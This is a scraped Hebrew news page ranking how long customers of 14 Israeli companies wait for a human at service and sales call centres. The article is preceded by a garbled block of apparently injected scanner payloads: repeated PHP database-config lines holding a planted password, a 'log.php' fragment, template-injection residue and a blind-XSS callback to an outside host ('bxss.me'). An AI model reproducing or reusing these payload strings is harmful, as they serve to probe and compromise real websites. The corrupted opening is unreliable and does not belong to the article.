$db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1ySf9n9nO"; ?> $db_host = "1" $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "19342244"; ?> ?>acker-9434/log.php?"; ?>{acx}}%>"; ?> $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?> $db_name = "1"; ?>b_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?>>'hitvtgywpoinqc09d0.bxss.me')")"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?> המתנה מוגזמת ומתסכלת של לקוחות למענה במוקדי השירות
x

דיווח על תקלה

תאור תקלה:
שם:
דואר אלקטרוני:
חיפוש באתר
מאמרים אחרונים
ענן תגיות
 אולמרט  גלנט  גניבה  הגבלים עסקיים  הונאה  המועצה לצרכנות  הרשעה  חקירה  כתב אישום  מאסר בפועל  מבקר המדינה  מידע פנים  מעצר  מרמה  ניגוד עניינים  ניירות ערך  פרקליטות  קבלת דבר במרמה  קרטל  רשות המיסים  שוחד  שחיתות  תלונה  

המתנה מתסכלת של לקוחות למענה במוקדי השירות והמכירות

תאריך: 12/08/2010 17:10   מחבר: מערכת האתר

בבדיקה שערך "גלובס" במוקדי השירות של 14 חברות שלקוחותיהן נדרשים לשירות בתדירות גבוהה יחסית, נמצאו לרוב פערים קיצוניים בין זמני ההמתנה לנציג מכירות ולנציג שירות לקוחות.

כך בוצעה הבדיקה:

במספר הזדמנויות שונות, בשעות שונות של היממה, נדגמו בזה אחר זה מוקדי השירות והמכירות של 14 חברות - רובן מתחום התקשורת - שלקוחותיהן נדרשים לשירות בתדירות גבוהה יחסית.
נמדד משך הזמן החולף מרגע החיוג ועד לקבלת מענה אנושי. הניווט הקולי כלול בזמן ההמתנה. הבדיקה והדירוג מתייחסים לזמני ההמתנה בלבד.

מקום 1: חברת החשמל

* מוקד שירות: 54 שניות.
* מוקד מכירות: אין.
* סכום: מענה מיידי בכל פעם שמתקשרים. הניווט הקולי עונה על הציפיות.
 

מקום 2: yes

* מוקד שירות: 1:08 דקות.
*מוקד גיוס לקוחות: 42 שניות.
* סכום:  מענה מהיר, ללא הבדל ניכר בין מוקד המכירת לשירות לקוחות. הניווט ידידותי וברור.

מקום 3: אקספון

* מוקד שירות: 1:31 דקות.
* מוקד מכירות: 1:16 דקות.
* סכום: זמן המתנה דומה במוקדי השירות והמכירות. ניווט קולי נוח ופשוט.

מקום 4: לאומי קארד

* מוקד שירות: 1:48 דקות.
* מוקד מכירות: 1:08 דקות.
* סכום: ניווט קולי מבלבל. ניתן לחזור לתפריט הראשי. זמן המתנה קצר.

מקום 5: בזק בינלאומי

* מוקד שירות: שתי דקות.
* מוקד מכירות: 1:13
* סכום: התקבל מענה אנושי מיידי בתום הניווט הקולי בשני המוקדים.

מקום 6: בזק

* מוקד שירות: 2:16 דקות.
* מוקד מכירות: 2:14 דקות.
* סכום: המתנה ממושכת למכירות לעומת שירות לקוחות. הניווט מלווה בהרבה פרסומות.

מקום 7: ויזה כ.א.ל

* מוקד שירות: 3:23 דקות.
* מוקד מכירות: 2:15 דקות - להשארת הודעה.
* סכום: ניווט קולי מבלבל ומעייף. נדרשת הזנת פרטים אישיים והבטחה לחזור ללקוח תוך 48 שעות.

מקום 8: אורנג'

* מוקד שירות: 3:26 דקות.
* מוקד מכירות: 56 שניות.
* סכום: המתנה ממושכת ללקוח שפונה לשירות לעומת לקוח קיים שפונה למכירות. ניתן להשאיר פרטים עד שהנציג חוזר.

מקום 9: נטוויז'ן 013

* מוקד שירות: 3:35 דקות.
* מוקד מכירות: 21 שניות.
* סכום: ניווט קולי ארוך. ניתנת הקראה של מיקום בתור הממתינים. מענה מהיר במכירות לעומת שירות לקוחות.

מקום 10: פלאפון

* מוקד שירות: 3:41 דקות.
* מוקד מכירות: 1:06 דקות.
* סכום: המתנה ממושכת ומתסכלת.

מקום 11: סמייל 012

* מוקד שירות: 4:41 דקות.
* מוקד מכירות: 1:49 דקות.
* סכום: יש מקום לשיפור ניכר בזמן ההמתנה למענה בשני המוקדים.

מקום 12: HOT

* מוקד שירות: 7:44 דקות.
* מוקד מכירות: 1:12 דקות.
* סכום: המתנה ממושכת במיוחד ללקוחות קיימים. התקשרות בתום שעות הפעילות של המוקד לא נענית.

מקום 13: סלקום

* מוקד שירות: 11:04 דקות.
* מוקד מכירות: 57 שניות.
* סכום: המתנה של למעלה מ 11 דקות. התראה שזמן ההמתנה ארוך תוך המלצה להתקשר במועד מאוחר יותר. זמן הגעה קצר למוקד המכירות.

מקום 14: ישראכרט

* מוקד שירות: 12:45 דקות.
* מוקד מכירות: 1:10 דקות.
* סכום: ניווט קולי מבלבל ומייגע. אין אפשרות לחזור לתפריט ראשי. המלצה להשאיר פרטים או להעביר בפקס. טיפול בבקשה בתוך 10 ימים.

Bookmark and Share
תגיות בעמוד:   הוט    מוקדי שירות    מכירות    מענה אנושי    המתנה    דירוג    פלאפון    סלקום    בזק    ישראכרט    בזק בינלאומי